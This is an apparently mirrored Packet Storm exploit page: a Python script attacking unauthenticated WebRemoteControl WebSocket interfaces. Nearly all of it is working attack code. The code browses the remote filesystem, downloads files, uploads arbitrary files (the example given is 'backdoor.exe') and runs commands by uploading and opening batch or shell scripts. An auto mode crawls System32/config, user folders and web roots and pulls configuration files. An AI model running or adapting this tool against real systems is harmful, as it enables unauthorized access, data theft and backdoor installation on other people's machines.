Share
## https://sploitus.com/exploit?id=PACKETSTORM:222526
==================================================================================================================================
    | # Title     : WebRemoteControl โ€“ Unauthenticated Remote Filesystem Access & Management Interface Assessment Tool               |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/wolfgangasdf/WebRemoteControl                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : a security research and assessment tool targeting WebRemoteControl deployments that expose a WebSocket-based remote control interface without authentication. 
                     The tool evaluates whether remote users can interact with the application's file management functionality and access system resources through the exposed service.
    				 
    [+] POC        : python 1.py -t 192.168.1.100 --download config.ini
                                 -t 192.168.1.100 --auto
    							 -t 192.168.1.100 --command "whoami"
    							 -t 192.168.1.100 --upload backdoor.exe backdoor.exe
    							 -t 192.168.1.100 --list-path "/Windows/System32"
    
    #!/usr/bin/env python3
    
    import websocket
    import time
    import json
    import os
    import sys
    import argparse
    import base64
    import threading
    from datetime import datetime
    
    class WebRemoteControlExploit:
        def __init__(self, target_host, target_port=8000, ssl=False):
            """
            Initialize WebRemoteControl exploit
            """
            self.target_host = target_host
            self.target_port = target_port
            self.ssl = ssl
            self.ws_url = f"{'wss' if ssl else 'ws'}://{target_host}:{target_port}/docs/cmd"
            self.ws = None
            self.current_path = "/"
            self.file_cache = {}
            
        def connect(self):
            """Establish WebSocket connection"""
            try:
                print(f"[*] Connecting to {self.ws_url}")
                self.ws = websocket.create_connection(self.ws_url, timeout=10)
                welcome = self.ws.recv()
                print(f"[+] Connected successfully")
                if welcome:
                    print(f"[*] Server response: {welcome[:100]}...")
                return True
            except Exception as e:
                print(f"[-] Failed to connect: {e}")
                return False
        
        def disconnect(self):
            """Close WebSocket connection"""
            if self.ws:
                self.ws.close()
                print("[*] Connection closed")
        
        def send_command(self, command, wait_time=0.5):
            """Send command and receive response"""
            try:
                self.ws.send(command)
                time.sleep(wait_time)
                response = self.ws.recv()
                return response
            except Exception as e:
                print(f"[-] Command failed: {e}")
                return None
        
        def list_files(self, path=None):
            """List files in current or specified directory"""
            if path:
                original_path = self.current_path
                self.navigate_to_path(path)
            
            response = self.send_command("fbgetfiles", 0.5)
            
            if response and response.startswith("fblist"):
                parts = response.split("\t")
                self.current_path = parts[1]
                files = parts[2:]
                
                print(f"\n{'='*60}")
                print(f"[PATH] {self.current_path}")
                print(f"{'='*60}")
                
                for i, item in enumerate(files):
                    is_dir = item.endswith('/') or item.endswith('\\')
                    icon = "" if is_dir else ""
                    print(f"  [{i:2d}] {icon} {item}")
                
                print(f"{'='*60}")
                print(f"Total: {len(files)} items\n")
                self.file_cache[self.current_path] = files
                return files
            
            elif response:
                print(f"[!] Unexpected response: {response}")
                return None
            else:
                print("[!] Failed to list files")
                return None
        
        def open_item(self, index):
            """Open folder or execute file by index"""
            try:
                idx = int(index)
                response = self.send_command(f"fbopen\t{idx}", 0.5)
                
                if response and response.startswith("fblist"):
                    parts = response.split("\t")
                    self.current_path = parts[1]
                    files = parts[2:]
                    print(f"[+] Opened folder: {self.current_path}")
                    print(f"\n{'='*60}")
                    print(f"[PATH] {self.current_path}")
                    print(f"{'='*60}")
                    for i, item in enumerate(files):
                        icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
                        print(f"  [{i:2d}] {icon} {item}")
                    print(f"{'='*60}\n")
                    
                    self.file_cache[self.current_path] = files
                    return True
                    
                elif response:
                    print(f"[+] File executed on remote host")
                    print(f"[*] Response: {response[:200]}")
                    return True
                else:
                    print("[!] Failed to open item")
                    return False
                    
            except ValueError:
                print("[-] Invalid index. Use numbers only")
                return False
            except Exception as e:
                print(f"[-] Error opening item: {e}")
                return False
        
        def go_up(self):
            """Navigate to parent directory"""
            response = self.send_command("fbup", 0.5)
            
            if response and response.startswith("fblist"):
                parts = response.split("\t")
                self.current_path = parts[1]
                files = parts[2:]
                print(f"[+] Moved to parent: {self.current_path}")
                print(f"\n{'='*60}")
                print(f"[PATH] {self.current_path}")
                print(f"{'='*60}")
                for i, item in enumerate(files):
                    icon = "" if (item.endswith('/') or item.endswith('\\')) else ""
                    print(f"  [{i:2d}] {icon} {item}")
                print(f"{'='*60}\n")
                
                self.file_cache[self.current_path] = files
                return True
            else:
                print("[!] Already at root or cannot go up")
                return False
        
        def navigate_to_path(self, target_path):
            """Navigate to a specific path"""
            print(f"[*] Navigating to: {target_path}")
            target_path = target_path.replace('\\', '/')
            current_parts = self.current_path.replace('\\', '/').split('/')
            target_parts = target_path.split('/')
            common = 0
            for i in range(min(len(current_parts), len(target_parts))):
                if current_parts[i] == target_parts[i]:
                    common += 1
                else:
                    break
            for _ in range(len(current_parts) - common - 1):
                if not self.go_up():
                    return False
            for part in target_parts[common:]:
                if part and part != '':
                    files = self.list_files()
                    if not files:
                        return False
                    
                    found = False
                    for i, item in enumerate(files):
                        if item.strip('/\\') == part:
                            if self.open_item(i):
                                found = True
                                break
                    
                    if not found:
                        print(f"[-] Cannot find directory: {part}")
                        return False
            
            print(f"[+] Successfully navigated to: {self.current_path}")
            return True
        
        def download_file(self, filename):
            """Download file from remote system"""
            print(f"[*] Attempting to download: {filename}")
            files = self.list_files()
            if not files:
                return False
            file_index = None
            for i, item in enumerate(files):
                if item == filename or item.endswith(filename):
                    file_index = i
                    break
            
            if file_index is None:
                print(f"[-] File not found: {filename}")
                return False
            print(f"[*] Opening file (index {file_index})...")
            response = self.send_command(f"fbopen\t{file_index}", 1)
            
            if response:
                output_file = f"downloaded_{filename}"
                with open(output_file, 'wb') as f:
                    f.write(response.encode('utf-8'))
                print(f"[+] File saved as: {output_file}")
                return True
            
            return False
        
        def upload_file(self, local_path, remote_name=None):
            """Upload file to remote system"""
            print(f"[*] Uploading file: {local_path}")
            
            if not os.path.exists(local_path):
                print(f"[-] Local file not found: {local_path}")
                return False
            with open(local_path, 'rb') as f:
                content = f.read()
            encoded = base64.b64encode(content).decode('ascii')
            remote_name = remote_name or os.path.basename(local_path)
            command = f"fbupload\t{remote_name}\t{encoded}"
            response = self.send_command(command, 2)
            
            if response and "success" in response.lower():
                print(f"[+] File uploaded successfully: {remote_name}")
                return True
            else:
                print(f"[-] Upload failed: {response}")
                return False
        
        def execute_command(self, command):
            """Execute system command via file execution"""
            print(f"[*] Executing command: {command}")
            if sys.platform == "win32":
                script_name = f"temp_{int(time.time())}.bat"
                script_content = f"@echo off\n{command}\necho [COMPLETE]\npause"
            else:
                script_name = f"temp_{int(time.time())}.sh"
                script_content = f"#!/bin/bash\n{command}\necho '[COMPLETE]'"
           
            with open(script_name, 'w') as f:
                f.write(script_content)
            
            if self.upload_file(script_name):
                time.sleep(1)
                self.list_files()
                files = self.list_files()
                for i, item in enumerate(files):
                    if item == script_name:
                        print(f"[*] Executing uploaded script...")
                        self.open_item(i)
                        break
            if os.path.exists(script_name):
                os.remove(script_name)
            
            return True
        
        def recursive_list(self, path="", max_depth=3, current_depth=0):
            """Recursively list directory contents"""
            if current_depth >= max_depth:
                return
            
            if path:
                self.navigate_to_path(path)
            else:
                self.list_files()
            
            files = self.file_cache.get(self.current_path, [])
            
            for i, item in enumerate(files):
                indent = "  " * current_depth
                if item.endswith('/') or item.endswith('\\'):
                    print(f"{indent} {item}")
                    self.open_item(i)
                    self.recursive_list("", max_depth, current_depth + 1)
                    self.go_up()
                else:
                    print(f"{indent} {item}")
        
        def interactive_shell(self):
            """Interactive file browser shell"""
            print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘        WebRemoteControl - File Browser Exploit                โ•‘
    โ•‘       Unauthenticated Remote Filesystem Access                โ•‘
    โ•‘                   by indoushka                                โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    
    Commands:
      list / ls              - Show current directory contents
      open <index>           - Open folder or execute file
      up / cd..              - Go to parent directory
      cd <path>              - Change to specific directory
      download <filename>    - Download file
      upload <local_file>    - Upload file
      exec <command>         - Execute system command
      tree [depth]           - Recursive directory listing
      pwd                    - Show current path
      search <pattern>       - Search for files
      exit / quit            - Exit exploit
    
    Examples:
      > list
      > open 5
      > cd Windows/System32
      > download config.ini
      > upload backup.zip
      > exec whoami
      > tree 2
    """)
            
            while True:
                try:
                    cmd = input(f"\n[{self.current_path}]> ").strip().lower()
                    
                    if not cmd:
                        continue
                    
                    if cmd in ['list', 'ls']:
                        self.list_files()
                    
                    elif cmd.startswith('open'):
                        parts = cmd.split()
                        if len(parts) == 2:
                            self.open_item(parts[1])
                        else:
                            print("Usage: open <index>")
                    
                    elif cmd in ['up', 'cd..']:
                        self.go_up()
                    
                    elif cmd.startswith('cd '):
                        target_path = cmd[3:].strip()
                        if target_path == '..':
                            self.go_up()
                        else:
                            self.navigate_to_path(target_path)
                    
                    elif cmd.startswith('download '):
                        filename = cmd[9:].strip()
                        self.download_file(filename)
                    
                    elif cmd.startswith('upload '):
                        local_file = cmd[7:].strip()
                        self.upload_file(local_file)
                    
                    elif cmd.startswith('exec '):
                        command = cmd[5:].strip()
                        self.execute_command(command)
                    
                    elif cmd.startswith('tree'):
                        depth = 3
                        if len(cmd.split()) > 1:
                            try:
                                depth = int(cmd.split()[1])
                            except:
                                pass
                        print("\n[*] Recursive directory listing:")
                        print("="*60)
                        self.recursive_list("", depth)
                    
                    elif cmd == 'pwd':
                        print(f"Current path: {self.current_path}")
                    
                    elif cmd.startswith('search '):
                        pattern = cmd[7:].strip()
                        self.search_files(pattern)
                    
                    elif cmd in ['exit', 'quit']:
                        print("[*] Exiting...")
                        break
                    
                    else:
                        print("Unknown command. Type 'help' for available commands")
                        
                except KeyboardInterrupt:
                    print("\n[*] Interrupted")
                    break
                except Exception as e:
                    print(f"[-] Error: {e}")
        
        def search_files(self, pattern):
            """Search for files matching pattern"""
            print(f"[*] Searching for: {pattern}")
            found = []
            
            def search_recursive(depth=0, max_depth=3):
                if depth >= max_depth:
                    return
                
                files = self.list_files()
                if not files:
                    return
                
                for i, item in enumerate(files):
                    if pattern.lower() in item.lower():
                        found.append({
                            'path': self.current_path,
                            'name': item,
                            'index': i
                        })
                    
                    if item.endswith('/') or item.endswith('\\'):
                        self.open_item(i)
                        search_recursive(depth + 1, max_depth)
                        self.go_up()
            original_path = self.current_path
            search_recursive()
            
            if found:
                print(f"\n[+] Found {len(found)} matches:")
                for match in found:
                    print(f" {match['path']}{match['name']} (index {match['index']})")
            else:
                print("[-] No matches found")
            self.navigate_to_path(original_path)
    
    def auto_exploit(target_host, target_port=8000):
        """Automated exploit sequence"""
        exploit = WebRemoteControlExploit(target_host, target_port)
        
        if not exploit.connect():
            return False
        
        print("\n[*] Starting automated exploitation...")
        print("="*60)
        exploit.list_files()
        sensitive_paths = [
            "/Windows/System32/config",
            "/Users",
            "/Program Files",
            "/Windows/System32/drivers/etc",
            "/inetpub/wwwroot",
            "/xampp/htdocs"
        ]
        
        for path in sensitive_paths:
            print(f"\n[*] Checking: {path}")
            if exploit.navigate_to_path(path):
                exploit.list_files()
                sensitive_files = ['hosts', 'config', '.ini', '.conf', 'web.config']
                files = exploit.file_cache.get(exploit.current_path, [])
                for file in files:
                    for sensitive in sensitive_files:
                        if sensitive in file.lower():
                            print(f"[!] Found sensitive file: {file}")
                            exploit.download_file(file)
        
        print("\n[+] Automated exploitation completed")
        return True
    
    def main():
        parser = argparse.ArgumentParser(description='WebRemoteControl - Unauthenticated Remote Filesystem Access Exploit')
        parser.add_argument('-t', '--target', required=True, help='Target IP address')
        parser.add_argument('-p', '--port', type=int, default=8000, help='Target port (default: 8000)')
        parser.add_argument('--ssl', action='store_true', help='Use WSS instead of WS')
        parser.add_argument('--auto', action='store_true', help='Run automated exploitation')
        parser.add_argument('--command', help='Execute single command and exit')
        parser.add_argument('--download', help='Download file from remote system')
        parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'), help='Upload file (local remote)')
        parser.add_argument('--list-path', help='List specific path')
        
        args = parser.parse_args()
        
        exploit = WebRemoteControlExploit(args.target, args.port, args.ssl)
        
        if not exploit.connect():
            sys.exit(1)
        if args.command:
            exploit.execute_command(args.command)
            exploit.disconnect()
            sys.exit(0)
        if args.download:
            exploit.download_file(args.download)
            exploit.disconnect()
            sys.exit(0)
        if args.upload:
            local_file, remote_name = args.upload
            exploit.upload_file(local_file, remote_name)
            exploit.disconnect()
            sys.exit(0)
        if args.list_path:
            exploit.navigate_to_path(args.list_path)
            exploit.list_files()
            exploit.disconnect()
            sys.exit(0)
        if args.auto:
            auto_exploit(args.target, args.port)
            exploit.disconnect()
            sys.exit(0)
        try:
            exploit.interactive_shell()
        except KeyboardInterrupt:
            print("\n[*] Interrupted by user")
        finally:
            exploit.disconnect()
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================